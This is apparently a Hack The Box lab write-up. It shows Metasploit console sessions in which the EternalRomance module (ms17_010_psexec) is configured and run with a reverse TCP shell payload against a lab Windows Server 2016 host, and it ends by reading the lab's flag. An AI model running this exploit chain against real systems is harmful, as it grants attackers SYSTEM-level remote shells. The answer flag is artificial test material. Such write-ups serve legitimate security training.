

# HTB : EternalRomance Lab Assignment

```
msf exploit(windows/smb/ms17_010_psexec) > show options
Module options (exploit/windows/smb/ms17_010_psexec):

Name          Current Setting  Required
-----
DBGTRACE      false           yes
LEAKATTEMPTS  99             yes
NAMEDPIPE     no             no
NAMED_PIPES   /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes
RHOSTS        no             yes
RPORT         445            yes
SERVICE_DESCRIPTION  no
SERVICE_DISPLAY_NAME no
SERVICE_NAME no
SHARE         ADMIN$         yes
SMBDomain     .             no
SMBPass       no
SMBUser       no

Payload options (windows/meterpreter/reverse_tcp):

Name          Current Setting  Required  Description
-----
EXITFUNC      thread          yes       Exit technique (Accepted: '', seh, thr
LHOST         172.31.211.8    yes       The listen address (an interface may b
LPORT         4444            yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic
```

Fig 1 : In msfconsole use the exploit eternalromance and show options

```
win7)
157  payload/windows/shell/reverse_tcp
158  normal No Windows Command Shell, Reverse TCP Stager
```

Fig 2 : Search for a suitable payload for the reverse shell

```
msf exploit(windows/smb/ms17_010_psexec) > set PAYLOAD 157
PAYLOAD => windows/shell/reverse_tcp
msf exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

Name          Current Setting  Required
-----
DBGTRACE      false           yes
LEAKATTEMPTS  99             yes
NAMEDPIPE     no             no
NAMED_PIPES   /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes
RHOSTS        10.129.20.65     yes
RPORT         445            yes
SERVICE_DESCRIPTION  no
SERVICE_DISPLAY_NAME no
SERVICE_NAME no
SHARE         ADMIN$         yes
SMBDomain     .             no
SMBPass       no
SMBUser       no

Payload options (windows/shell/reverse_tcp):

Name          Current Setting  Required  Description
-----
EXITFUNC      thread          yes       Exit technique (Accepted: '', seh, thr
LHOST         10.10.16.14     yes       The listen address (an interface may b
LPORT         4444            yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic
```

Fig 3 : Set the payload and set RHOSTS & LHOST for the session

```
msf exploit(windows/smb/ms17_010_psexec) > exploit
[*] Started reverse TCP handler on 10.10.16.14:4444
[*] 10.129.20.65:445 - Target OS: Windows Server 2016 Standard 14393
[*] 10.129.20.65:445 - Built a write-what-where primitive...
[+] 10.129.20.65:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.129.20.65:445 - Selecting PowerShell target
[*] 10.129.20.65:445 - Executing the payload...
[+] 10.129.20.65:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (240 bytes) to 10.129.20.65
[*] Command shell session 1 opened (10.10.16.14:4444 -> 10.129.20.65:49671) at 2025-11-24 16:33:04 +0530

Shell Banner:
Microsoft Windows [Version 10.0.14393]
-----

C:\Windows\system32>whoami
whoami
nt authority\system
```

Fig 4 : Exploit to execute and gain a shell back, got command prompt in this lab

```
C:\Windows\System32>cd \Users\Administrator\Desktop
cd \Users\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9850-1131

Directory of C:\Users\Administrator\Desktop

05/16/2022  04:17 AM    <DIR>          .
05/16/2022  04:17 AM    <DIR>          ..
05/16/2022  03:19 AM                29 flag.txt
               1 File(s)                29 bytes
               2 Dir(s)  30,158,729,216 bytes free

C:\Users\Administrator\Desktop>type flag.txt
type flag.txt
HTB{MSF-WInD0w5-3xPL01t4t10n}
C:\Users\Administrator\Desktop>SOVLED!!!
```

Fig 5 : Explore the directories for the flag and use 'type' command to echo the flag from the file